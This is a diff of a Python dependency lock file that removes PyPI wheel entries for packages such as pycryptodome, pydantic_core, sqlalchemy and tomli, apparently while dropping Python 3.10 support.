{ url = "https://files.pythonhosted.org/packages/41/58/60917bc4bbd91712e53ce04daf237a74a0ad731383a01288130672994328/pycryptodome-3.22.0-cp37-abi3-win32.whl", hash = "sha256:f02baa9f5e35934c6e8dcec91fcde96612bdefef6e442813b8ea34e82c84bbfb", size = 1763403, upload-time = "2025-03-15T23:03:00.616Z" },
{ url = "https://files.pythonhosted.org/packages/55/f4/244c621afcf7867e23f63cfd7a9630f14cfe946c9be7e566af6c3915bcde/pycryptodome-3.22.0-cp37-abi3-win_amd64.whl", hash = "sha256:d086aed307e96d40c23c42418cbbca22ecc0ab4a8a0e24f87932eeab26c08627", size = 1794568, upload-time = "2025-03-15T23:03:03.189Z" },
{ url = "https://files.pythonhosted.org/packages/37/c3/e3423e72669ca09f141aae493e1feaa8b8475859898b04f57078280a61c4/pycryptodome-3.22.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:b4bdce34af16c1dcc7f8c66185684be15f5818afd2a82b75a4ce6b55f9783e13", size = 1618698, upload-time = "2025-03-15T23:03:11.163Z" },
{ url = "https://files.pythonhosted.org/packages/f9/b7/35eec0b3919cafea362dcb68bb0654d9cb3cde6da6b7a9d8480ce0bf203a/pycryptodome-3.22.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2988ffcd5137dc2d27eb51cd18c0f0f68e5b009d5fec56fbccb638f90934f333", size = 1666957, upload-time = "2025-03-15T23:03:14.03Z" },
{ url = "https://files.pythonhosted.org/packages/b0/1f/f49bccdd8d61f1da4278eb0d6aee7f988f1a6ec4056b0c2dc51eda45ae27/pycryptodome-3.22.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e653519dedcd1532788547f00eeb6108cc7ce9efdf5cc9996abce0d53f95d5a9", size = 1659242, upload-time = "2025-03-15T23:03:16.185Z" },
{ url = "https://files.pythonhosted.org/packages/95/43/a01dcf1ed39c9a9e9c9d3f9d98040deeceedaa7cdf043e175251f2e13f44/pycryptodome-3.22.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f5810bc7494e4ac12a4afef5a32218129e7d3890ce3f2b5ec520cc69eb1102ad", size = 1697246, upload-time = "2025-03-15T23:03:18.436Z" },
{ url = "https://files.pythonhosted.org/packages/3b/49/195842931f9ee6f14cd63ef85e06b93073463ed59601fb283ba9b813cd53/pycryptodome-3.22.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:e7514a1aebee8e85802d154fdb261381f1cb9b7c5a54594545145b8ec3056ae6", size = 1797436, upload-time = "2025-03-15T23:03:21.294Z" },
]
[[package]]
@@ -1723,11 +1626,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/8d/67/09ee8500dd22614af5fbaa51a4aee6e342b5fa8aecf0a6cb9cbf52fa6d45/pycryptodomex-3.23.0-cp37-abi3-win32.whl", hash = "sha256:189afbc87f0b9f158386bf051f720e20fa6145975f1e76369303d0f31d1a8d7c", size = 1771969, upload-time = "2025-05-17T17:23:07.115Z" },
{ url = "https://files.pythonhosted.org/packages/69/96/11f36f71a865dd6df03716d33bd07a67e9d20f6b8d39820470b766af323c/pycryptodomex-3.23.0-cp37-abi3-win_amd64.whl", hash = "sha256:52e5ca58c3a0b0bd5e100a9fbc8015059b05cffc6c66ce9d98b4b45e023443b9", size = 1803124, upload-time = "2025-05-17T17:23:09.267Z" },
{ url = "https://files.pythonhosted.org/packages/f9/93/45c1cdcbeb182ccd2e144c693eaa097763b08b38cded279f0053ed53c553/pycryptodomex-3.23.0-cp37-abi3-win_arm64.whl", hash = "sha256:02d87b80778c171445d67e23d1caef279bf4b25c3597050ccd2e13970b57fd51", size = 1707161, upload-time = "2025-05-17T17:23:11.414Z" },
{ url = "https://files.pythonhosted.org/packages/f3/b8/3e76d948c3c4ac71335bbe75dac53e154b40b0f8f1f022dfa295257a0c96/pycryptodomex-3.23.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ebfff755c360d674306e5891c564a274a47953562b42fb74a5c25b8fc1fb1cb5", size = 1627695, upload-time = "2025-05-17T17:23:17.38Z" },
{ url = "https://files.pythonhosted.org/packages/6a/cf/80f4297a4820dfdfd1c88cf6c4666a200f204b3488103d027b5edd9176ec/pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eca54f4bb349d45afc17e3011ed4264ef1cc9e266699874cdd1349c504e64798", size = 1675772, upload-time = "2025-05-17T17:23:19.202Z" },
{ url = "https://files.pythonhosted.org/packages/d1/42/1e969ee0ad19fe3134b0e1b856c39bd0b70d47a4d0e81c2a8b05727394c9/pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2596e643d4365e14d0879dc5aafe6355616c61c2176009270f3048f6d9a61f", size = 1668083, upload-time = "2025-05-17T17:23:21.867Z" },
{ url = "https://files.pythonhosted.org/packages/6e/c3/1de4f7631fea8a992a44ba632aa40e0008764c0fb9bf2854b0acf78c2cf2/pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fdfac7cda115bca3a5abb2f9e43bc2fb66c2b65ab074913643803ca7083a79ea", size = 1706056, upload-time = "2025-05-17T17:23:24.031Z" },
{ url = "https://files.pythonhosted.org/packages/f2/5f/af7da8e6f1e42b52f44a24d08b8e4c726207434e2593732d39e7af5e7256/pycryptodomex-3.23.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:14c37aaece158d0ace436f76a7bb19093db3b4deade9797abfc39ec6cd6cc2fe", size = 1806478, upload-time = "2025-05-17T17:23:26.066Z" },
]
[[package]]
@@ -1754,20 +1652,6 @@ dependencies = [
]
sdist = { url = "https://files.pythonhosted.org/packages/9d/56/921726b776ace8d8f5db44c4ef961006580d91dc52b803c489fafd1aa249/pydantic_core-2.46.4.tar.gz", hash = "sha256:62f875393d7f270851f20523dd2e29f082bcc82292d66db2b64ea71f64b6e1c1", size = 471464, upload-time = "2026-05-06T13:37:06.98Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/e7/08/f1ba952f1c8ae5581c70fa9c6da89f247b83e3dd8c09c035d5d7931fc23d/pydantic_core-2.46.4-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:a396dcc17e5a0b164dbe026896245a4fa9ff402edca1dff0be3d53a517f74de4", size = 2113146, upload-time = "2026-05-06T13:37:36.537Z" },
{ url = "https://files.pythonhosted.org/packages/56/c6/65f646c7ff09bd257f660434adb45c4dfcbbcebcc030562fecf6f5bf887d/pydantic_core-2.46.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:da4b951fe36dc7c3a1ccb4e3cd1747c3542b8c9ceede8fc86cae054e764485f5", size = 1949769, upload-time = "2026-05-06T13:37:46.365Z" },
{ url = "https://files.pythonhosted.org/packages/64/ba/bfb1d928fd5b49e1258935ff104ae356e9fd89384a55bf9f847e9193ad40/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bb63e0198ca18aad131c089b9204c23079c3afa95487e561f4c522d519e55aba", size = 1974958, upload-time = "2026-05-06T13:37:28.611Z" },
{ url = "https://files.pythonhosted.org/packages/4e/74/76223bfb117b64af743c9b6670d1364516f5c0604f96b48f3272f6af6cc6/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f47286a97f0bc9b8859519809077b91b2cefe4ae47fcbf5e466a009c1c5d742b", size = 2042118, upload-time = "2026-05-06T13:36:55.216Z" },
{ url = "https://files.pythonhosted.org/packages/cb/7b/848732968bc8f48f3187542f08358b9d842db564147b256669426ebb1652/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:905a0ed8ea6f2d61c1738835f99b699348d7857379083e5fc497fa0c967a407c", size = 2222876, upload-time = "2026-05-06T13:38:25.455Z" },
{ url = "https://files.pythonhosted.org/packages/b5/2f/e90b63ee2e14bd8d3db8f705a6d75d64e6ee1b7c2c8833747ce706e1e0ce/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ea793e075b70290d89d8142074262885d3f7da19634845135751bd6344f73b50", size = 2286703, upload-time = "2026-05-06T13:37:53.304Z" },
{ url = "https://files.pythonhosted.org/packages/ba/1e/acc4d70f88a0a277e4a1fa77ebb985ceabaf900430f875bf9338e11c9420/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:395aebd9183f9d112f569aeb5b2214d1a10a33bec8456447f7fbdfa51d38d4cd", size = 2092042, upload-time = "2026-05-06T13:38:46.981Z" },
{ url = "https://files.pythonhosted.org/packages/a9/da/0a422b57bf8504102bf3c4ccea9c41bab5a5cee6a54650acf8faf67f5a24/pydantic_core-2.46.4-cp310-cp310-manylinux_2_31_riscv64.whl", hash = "sha256:b078afbc25f3a1436c7a1d2cd3e322497ee99615ba97c563566fdf46aff1ee01", size = 2117231, upload-time = "2026-05-06T13:39:23.146Z" },
{ url = "https://files.pythonhosted.org/packages/bd/2a/2ac13c3af305843e23c5078c53d135656b3f05a2fd78cb7bbbb12e97b473/pydantic_core-2.46.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f747929cf940cddb5b3668a390056ddd5ba2e5010615ea2dcf4f9c4f3ab8791d", size = 2168388, upload-time = "2026-05-06T13:40:08.06Z" },
{ url = "https://files.pythonhosted.org/packages/72/04/2beacf7e1607e93eefe4aed1b4709f079b905fb77530179d4f7c71745f22/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:daa27d92c36f24388fe3ad306b174781c747627f134452e4f128ea00ce1fe8c4", size = 2184769, upload-time = "2026-05-06T13:38:13.901Z" },
{ url = "https://files.pythonhosted.org/packages/9e/29/d2b9fd9f539133548eaf622c06a4ce176cb46ac59f32d0359c4abc0de047/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:19e51f073cd3df251856a8a4189fbdf1de4012c3ebacfb1884f94f1eb406079f", size = 2319312, upload-time = "2026-05-06T13:39:08.24Z" },
{ url = "https://files.pythonhosted.org/packages/7c/af/0f7a5b85fec6075bea96e3ef9187de38fccced0de92c1e7feda8d5cc7bb9/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c1747f85cee84c26985853c6f3d9bd3e75da5212912443fa111c113b9c246f39", size = 2361817, upload-time = "2026-05-06T13:38:43.2Z" },
{ url = "https://files.pythonhosted.org/packages/25/a4/73363fec545fd3ec025490bdda2743c56d0dd5b6266b1a53bbe9e4265375/pydantic_core-2.46.4-cp310-cp310-win32.whl", hash = "sha256:2f84c03c8607173d16b5a854ec68a2f9079ae03237a54fb506d13af47e1d018d", size = 1987085, upload-time = "2026-05-06T13:39:25.497Z" },
{ url = "https://files.pythonhosted.org/packages/01/aa/62f082da2c91fac1c234bc9ee0066257ce83f0604abd72e4c9d5991f2d84/pydantic_core-2.46.4-cp310-cp310-win_amd64.whl", hash = "sha256:8358a950c8909158e3df31538a7e4edc2d7265a7c54b47f0864d9e5bae9dcebf", size = 2074311, upload-time = "2026-05-06T13:39:59.922Z" },
{ url = "https://files.pythonhosted.org/packages/5c/fa/6d7708d2cfc1a832acb6aeb0cd16e801902df8a0f583bb3b4b527fde022e/pydantic_core-2.46.4-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:0e96592440881c74a213e5ad528e2b24d3d4f940de2766bed9010ab1d9e51594", size = 2111872, upload-time = "2026-05-06T13:40:27.596Z" },
{ url = "https://files.pythonhosted.org/packages/ae/6f/aa064a3e74b5745afbdf250594f38e7ead05e2d651bcb35994b9417a0d4d/pydantic_core-2.46.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e0d65b8c354be7fb5f720c3caa8bc940bc2d20ce749c8e06135f07f8ed95dd7c", size = 1948255, upload-time = "2026-05-06T13:39:12.574Z" },
{ url = "https://files.pythonhosted.org/packages/43/3a/41114a9f7569b84b4d84e7a018c57c56347dac30c0d4a872946ec4e36c46/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7bfb192b3f4b9e8a89b6277b6ce787564f62cfd272055f6e685726b111dc7826", size = 1972827, upload-time = "2026-05-06T13:38:19.841Z" },
@@ -2021,11 +1905,9 @@ version = "7.4.4"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "colorama", marker = "sys_platform == 'win32'" },
{ name = "exceptiongroup", marker = "python_full_version < '3.11'" },
{ name = "iniconfig" },
{ name = "packaging" },
{ name = "pluggy" },
{ name = "tomli", marker = "python_full_version < '3.11'" },
]
sdist = { url = "https://files.pythonhosted.org/packages/80/1f/9d8e98e4133ffb16c90f3b405c43e38d3abb715bb5d7a63a5a684f7e46a3/pytest-7.4.4.tar.gz", hash = "sha256:2cf0005922c6ace4a3e2ec8b4080eb0d9753fdc93107415332f50ce9e7994280", size = 1357116, upload-time = "2023-12-31T12:00:18.035Z" }
wheels = [
@@ -2163,13 +2045,6 @@ dependencies = [
]
sdist = { url = "https://files.pythonhosted.org/packages/3b/21/77b4c147963073040dc3c3a5cb7a8c3001a1893c0209432cb77f9df836aa/sqlalchemy-2.0.52.tar.gz", hash = "sha256:5e2d46356ac2ccb7d268ab6c2319ac6a2b42f1b8d5fd8bd3d46855cd82abee97", size = 9945637, upload-time = "2026-08-11T19:07:09.829Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/a6/d7/e0354e7334d33ea2795db3ecbe2977026c05a1ecf8ba4b5953c329872453/sqlalchemy-2.0.52-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a7438774e1091192fc50a2bd8ceff5c596912d00ecd46587e88effdea7826101", size = 2172616, upload-time = "2026-08-11T20:58:21.078Z" },
{ url = "https://files.pythonhosted.org/packages/5b/64/98eef682e6946eb1b4195a9a2393db4662ebfcc89f823ae78b938765c3c0/sqlalchemy-2.0.52-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6c1b7ed45bf87b214e0a9def9c2313949067efe6269db5ef18d542ee13250af7", size = 3279798, upload-time = "2026-08-11T21:00:03.535Z" },
{ url = "https://files.pythonhosted.org/packages/20/05/5b96afc1407c314347ad006b72bb251fb68ef84d05505ebf8a39bc47fcde/sqlalchemy-2.0.52-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:309cc8ba50fc5d2174189dfcd49cdf7aa711f8346afcff19f2642ae4fc449c14", size = 3277555, upload-time = "2026-08-11T21:05:47.932Z" },
{ url = "https://files.pythonhosted.org/packages/50/69/ce6776724511d1b5dd40477b08d6a5f0953a45375e092dfa852b1857732c/sqlalchemy-2.0.52-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:2f9eccf8793c8c3f8dd2dfd11b9e400cb27d1d19370ef732b66017e212107822", size = 3231246, upload-time = "2026-08-11T21:00:05.184Z" },
{ url = "https://files.pythonhosted.org/packages/72/19/ab0cb9ccdafa2419c796ae62f8740aedb903f1e93bb326064b1a0147e458/sqlalchemy-2.0.52-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9255ceb65a80c1b001129060b63ee776a2e9c288be3b662be36dfbb888fffdcd", size = 3250763, upload-time = "2026-08-11T21:05:49.664Z" },
{ url = "https://files.pythonhosted.org/packages/41/f2/3c9b54b61bec4f493c0007dc9e2700c963c5b32667e21a506f1aca7a8115/sqlalchemy-2.0.52-cp310-cp310-win32.whl", hash = "sha256:2e15b1d1116a64fc399b8c2694a83f3e792fdc58df28514a81e1dc4f8cf22729", size = 2132169, upload-time = "2026-08-11T21:09:48.108Z" },
{ url = "https://files.pythonhosted.org/packages/b3/a1/934bb6cf543a398c72784d1fc777eb530559c16ebe1549fa7611e5989ce9/sqlalchemy-2.0.52-cp310-cp310-win_amd64.whl", hash = "sha256:11560064cc4696e772298b6221ede59e646386d9f2a85d549365473b972f7850", size = 2156289, upload-time = "2026-08-11T21:09:49.429Z" },
{ url = "https://files.pythonhosted.org/packages/6b/08/cc5f7627b92f1456bc0b5fb7e98af4600248abe422a44da0d17a3fe6a448/sqlalchemy-2.0.52-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e0c3ce43907374889f3352bdcc6195c970148a2cb71574cd0237a5071a37fb6c", size = 2172460, upload-time = "2026-08-11T20:58:22.429Z" },
{ url = "https://files.pythonhosted.org/packages/ed/dc/9a2abad8bfc8fdcd38c64adc056aeefab7aaa96ecd32f5e8c140e6375f17/sqlalchemy-2.0.52-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7a0d48c4b80717c61385b4e966e087c839a66cfd7b780641dcb428f4dba65608", size = 3355720, upload-time = "2026-08-11T21:00:06.746Z" },
{ url = "https://files.pythonhosted.org/packages/a8/73/e75597b5841043e3c74055d00d4feb53d9a49a5c89ba2450d2d9aab53597/sqlalchemy-2.0.52-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:938325a5373267afc53bfbe72983b20fbd64ca47842aac62433c3da1137ecff1", size = 3354394, upload-time = "2026-08-11T21:05:51.454Z" },
@@ -2208,9 +2083,6 @@ version = "0.5.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/a7/e6/d0d74b18bed8c16949fddc0401005c072947ae7bf1bab982ed28f9ebc2d8/sspilib-0.5.0.tar.gz", hash = "sha256:b62f7f2602aa1add0505eee2417e2df24421224cb411e53bf3ae42a71b62fe98", size = 59920, upload-time = "2025-12-03T00:31:05.564Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/6d/cb/7cc967b48d182cb012229ccc9f9e3fd5e245b7f0c80667297ddded580877/sspilib-0.5.0-cp310-cp310-win32.whl", hash = "sha256:8dab68e994d24a08f854d36ac96409b3b8cc03fdebc590925f76f9d733c3a902", size = 475882, upload-time = "2025-12-03T00:30:23.403Z" },
{ url = "https://files.pythonhosted.org/packages/7b/0d/7746ade4e3c4dba6c6d9b2afe3c3903f4bcab2da6b300b5d81afee089196/sspilib-0.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:9e1947df07110ee1861009fc117bd089a7710403f3f5c488fb52a6e00b7c5b84", size = 563068, upload-time = "2025-12-03T00:30:24.605Z" },
{ url = "https://files.pythonhosted.org/packages/8d/fb/6821418037e9d78179153e770e2b0280956f28f4bf51069dcbcc0348505d/sspilib-0.5.0-cp310-cp310-win_arm64.whl", hash = "sha256:28d0eb944f7ff70bc99fe729d06fa230aec1649c5bc216809e359cd0c77d4840", size = 486370, upload-time = "2025-12-03T00:30:26.21Z" },
{ url = "https://files.pythonhosted.org/packages/ce/1b/dd9066491168933b0f7ab6e396ac58cc024c8954e95264c38e3dc9363d7c/sspilib-0.5.0-cp311-abi3-win32.whl", hash = "sha256:fcb57b41b3200ef2e6e8846e2a13799d20b35b796267f2f75cc65e3883e8eeb6", size = 451246, upload-time = "2025-12-03T00:30:36.685Z" },
{ url = "https://files.pythonhosted.org/packages/17/6a/a11abf90172ff580ac2f9ade3496d868e05e851c4ecf487dd5baeb966b1d/sspilib-0.5.0-cp311-abi3-win_amd64.whl", hash = "sha256:ca2a21a4e90db563c2cec639c66b3a29ea53129a0c55ff1e4154a02937f6bd45", size = 540777, upload-time = "2025-12-03T00:30:38.44Z" },
{ url = "https://files.pythonhosted.org/packages/45/05/983876d281b9e7926f1c9126e72de8bd5928b1de45433163f54d4e217502/sspilib-0.5.0-cp311-abi3-win_arm64.whl", hash = "sha256:6893bad16f122fc3c4bd908461b9728694465c05ca97c22f7e2094791c4ee3cb", size = 470353, upload-time = "2025-12-03T00:30:39.63Z" },
@@ -2246,60 +2118,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/ea/66/6053d908e5789877ee702c102935634961a731e3db7d1caa2f1201a99598/terminaltables3-4.0.0-py3-none-any.whl", hash = "sha256:93b4c722f35400a7869cd630e2bbab616b129d1c47c628765c7f47baab2ca270", size = 15806, upload-time = "2024-07-21T17:07:24.85Z" },
]
[[package]]
name = "tomli"
version = "2.4.1"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/22/de/48c59722572767841493b26183a0d1cc411d54fd759c5607c4590b6563a6/tomli-2.4.1.tar.gz", hash = "sha256:7c7e1a961a0b2f2472c1ac5b69affa0ae1132c39adcb67aba98568702b9cc23f", size = 17543, upload-time = "2026-03-25T20:22:03.828Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/f4/11/db3d5885d8528263d8adc260bb2d28ebf1270b96e98f0e0268d32b8d9900/tomli-2.4.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f8f0fc26ec2cc2b965b7a3b87cd19c5c6b8c5e5f436b984e85f486d652285c30", size = 154704, upload-time = "2026-03-25T20:21:10.473Z" },
{ url = "https://files.pythonhosted.org/packages/6d/f7/675db52c7e46064a9aa928885a9b20f4124ecb9bc2e1ce74c9106648d202/tomli-2.4.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4ab97e64ccda8756376892c53a72bd1f964e519c77236368527f758fbc36a53a", size = 149454, upload-time = "2026-03-25T20:21:12.036Z" },
{ url = "https://files.pythonhosted.org/packages/61/71/81c50943cf953efa35bce7646caab3cf457a7d8c030b27cfb40d7235f9ee/tomli-2.4.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96481a5786729fd470164b47cdb3e0e58062a496f455ee41b4403be77cb5a076", size = 237561, upload-time = "2026-03-25T20:21:13.098Z" },
{ url = "https://files.pythonhosted.org/packages/48/c1/f41d9cb618acccca7df82aaf682f9b49013c9397212cb9f53219e3abac37/tomli-2.4.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5a881ab208c0baf688221f8cecc5401bd291d67e38a1ac884d6736cbcd8247e9", size = 243824, upload-time = "2026-03-25T20:21:14.569Z" },
{ url = "https://files.pythonhosted.org/packages/22/e4/5a816ecdd1f8ca51fb756ef684b90f2780afc52fc67f987e3c61d800a46d/tomli-2.4.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:47149d5bd38761ac8be13a84864bf0b7b70bc051806bc3669ab1cbc56216b23c", size = 242227, upload-time = "2026-03-25T20:21:15.712Z" },
{ url = "https://files.pythonhosted.org/packages/6b/49/2b2a0ef529aa6eec245d25f0c703e020a73955ad7edf73e7f54ddc608aa5/tomli-2.4.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ec9bfaf3ad2df51ace80688143a6a4ebc09a248f6ff781a9945e51937008fcbc", size = 247859, upload-time = "2026-03-25T20:21:17.001Z" },
{ url = "https://files.pythonhosted.org/packages/83/bd/6c1a630eaca337e1e78c5903104f831bda934c426f9231429396ce3c3467/tomli-2.4.1-cp311-cp311-win32.whl", hash = "sha256:ff2983983d34813c1aeb0fa89091e76c3a22889ee83ab27c5eeb45100560c049", size = 97204, upload-time = "2026-03-25T20:21:18.079Z" },
{ url = "https://files.pythonhosted.org/packages/42/59/71461df1a885647e10b6bb7802d0b8e66480c61f3f43079e0dcd315b3954/tomli-2.4.1-cp311-cp311-win_amd64.whl", hash = "sha256:5ee18d9ebdb417e384b58fe414e8d6af9f4e7a0ae761519fb50f721de398dd4e", size = 108084, upload-time = "2026-03-25T20:21:18.978Z" },
{ url = "https://files.pythonhosted.org/packages/b8/83/dceca96142499c069475b790e7913b1044c1a4337e700751f48ed723f883/tomli-2.4.1-cp311-cp311-win_arm64.whl", hash = "sha256:c2541745709bad0264b7d4705ad453b76ccd191e64aa6f0fc66b69a293a45ece", size = 95285, upload-time = "2026-03-25T20:21:20.309Z" },
{ url = "https://files.pythonhosted.org/packages/c1/ba/42f134a3fe2b370f555f44b1d72feebb94debcab01676bf918d0cb70e9aa/tomli-2.4.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c742f741d58a28940ce01d58f0ab2ea3ced8b12402f162f4d534dfe18ba1cd6a", size = 155924, upload-time = "2026-03-25T20:21:21.626Z" },
{ url = "https://files.pythonhosted.org/packages/dc/c7/62d7a17c26487ade21c5422b646110f2162f1fcc95980ef7f63e73c68f14/tomli-2.4.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7f86fd587c4ed9dd76f318225e7d9b29cfc5a9d43de44e5754db8d1128487085", size = 150018, upload-time = "2026-03-25T20:21:23.002Z" },
{ url = "https://files.pythonhosted.org/packages/5c/05/79d13d7c15f13bdef410bdd49a6485b1c37d28968314eabee452c22a7fda/tomli-2.4.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ff18e6a727ee0ab0388507b89d1bc6a22b138d1e2fa56d1ad494586d61d2eae9", size = 244948, upload-time = "2026-03-25T20:21:24.04Z" },
{ url = "https://files.pythonhosted.org/packages/10/90/d62ce007a1c80d0b2c93e02cab211224756240884751b94ca72df8a875ca/tomli-2.4.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:136443dbd7e1dee43c68ac2694fde36b2849865fa258d39bf822c10e8068eac5", size = 253341, upload-time = "2026-03-25T20:21:25.177Z" },
{ url = "https://files.pythonhosted.org/packages/1a/7e/caf6496d60152ad4ed09282c1885cca4eea150bfd007da84aea07bcc0a3e/tomli-2.4.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:5e262d41726bc187e69af7825504c933b6794dc3fbd5945e41a79bb14c31f585", size = 248159, upload-time = "2026-03-25T20:21:26.364Z" },
{ url = "https://files.pythonhosted.org/packages/99/e7/c6f69c3120de34bbd882c6fba7975f3d7a746e9218e56ab46a1bc4b42552/tomli-2.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:5cb41aa38891e073ee49d55fbc7839cfdb2bc0e600add13874d048c94aadddd1", size = 253290, upload-time = "2026-03-25T20:21:27.46Z" },
{ url = "https://files.pythonhosted.org/packages/d6/2f/4a3c322f22c5c66c4b836ec58211641a4067364f5dcdd7b974b4c5da300c/tomli-2.4.1-cp312-cp312-win32.whl", hash = "sha256:da25dc3563bff5965356133435b757a795a17b17d01dbc0f42fb32447ddfd917", size = 98141, upload-time = "2026-03-25T20:21:28.492Z" },
{ url = "https://files.pythonhosted.org/packages/24/22/4daacd05391b92c55759d55eaee21e1dfaea86ce5c571f10083360adf534/tomli-2.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:52c8ef851d9a240f11a88c003eacb03c31fc1c9c4ec64a99a0f922b93874fda9", size = 108847, upload-time = "2026-03-25T20:21:29.386Z" },
{ url = "https://files.pythonhosted.org/packages/68/fd/70e768887666ddd9e9f5d85129e84910f2db2796f9096aa02b721a53098d/tomli-2.4.1-cp312-cp312-win_arm64.whl", hash = "sha256:f758f1b9299d059cc3f6546ae2af89670cb1c4d48ea29c3cacc4fe7de3058257", size = 95088, upload-time = "2026-03-25T20:21:30.677Z" },
{ url = "https://files.pythonhosted.org/packages/07/06/b823a7e818c756d9a7123ba2cda7d07bc2dd32835648d1a7b7b7a05d848d/tomli-2.4.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:36d2bd2ad5fb9eaddba5226aa02c8ec3fa4f192631e347b3ed28186d43be6b54", size = 155866, upload-time = "2026-03-25T20:21:31.65Z" },
{ url = "https://files.pythonhosted.org/packages/14/6f/12645cf7f08e1a20c7eb8c297c6f11d31c1b50f316a7e7e1e1de6e2e7b7e/tomli-2.4.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:eb0dc4e38e6a1fd579e5d50369aa2e10acfc9cace504579b2faabb478e76941a", size = 149887, upload-time = "2026-03-25T20:21:33.028Z" },
{ url = "https://files.pythonhosted.org/packages/5c/e0/90637574e5e7212c09099c67ad349b04ec4d6020324539297b634a0192b0/tomli-2.4.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c7f2c7f2b9ca6bdeef8f0fa897f8e05085923eb091721675170254cbc5b02897", size = 243704, upload-time = "2026-03-25T20:21:34.51Z" },
{ url = "https://files.pythonhosted.org/packages/10/8f/d3ddb16c5a4befdf31a23307f72828686ab2096f068eaf56631e136c1fdd/tomli-2.4.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f3c6818a1a86dd6dca7ddcaaf76947d5ba31aecc28cb1b67009a5877c9a64f3f", size = 251628, upload-time = "2026-03-25T20:21:36.012Z" },
{ url = "https://files.pythonhosted.org/packages/e3/f1/dbeeb9116715abee2485bf0a12d07a8f31af94d71608c171c45f64c0469d/tomli-2.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d312ef37c91508b0ab2cee7da26ec0b3ed2f03ce12bd87a588d771ae15dcf82d", size = 247180, upload-time = "2026-03-25T20:21:37.136Z" },
